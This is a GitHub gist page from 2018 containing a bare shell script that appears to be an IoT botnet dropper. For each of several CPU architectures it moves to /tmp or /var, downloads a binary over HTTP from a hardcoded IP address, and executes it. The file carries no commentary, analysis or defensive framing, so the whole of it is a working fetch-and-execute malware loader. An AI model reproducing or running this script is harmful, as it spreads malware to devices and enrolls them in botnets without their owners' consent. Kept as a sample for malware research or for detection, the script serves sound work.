Skip to content

Instantly share code, notes, and snippets.

@acagastya
Created September 13, 2018 06:01
Show Gist options
  • Save acagastya/017dd57a2731e84034eccb2f72c47370 to your computer and use it in GitHub Desktop.
Save acagastya/017dd57a2731e84034eccb2f72c47370 to your computer and use it in GitHub Desktop.
#!/bin/sh
u="asgknskjdgn"
bin_names="mips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment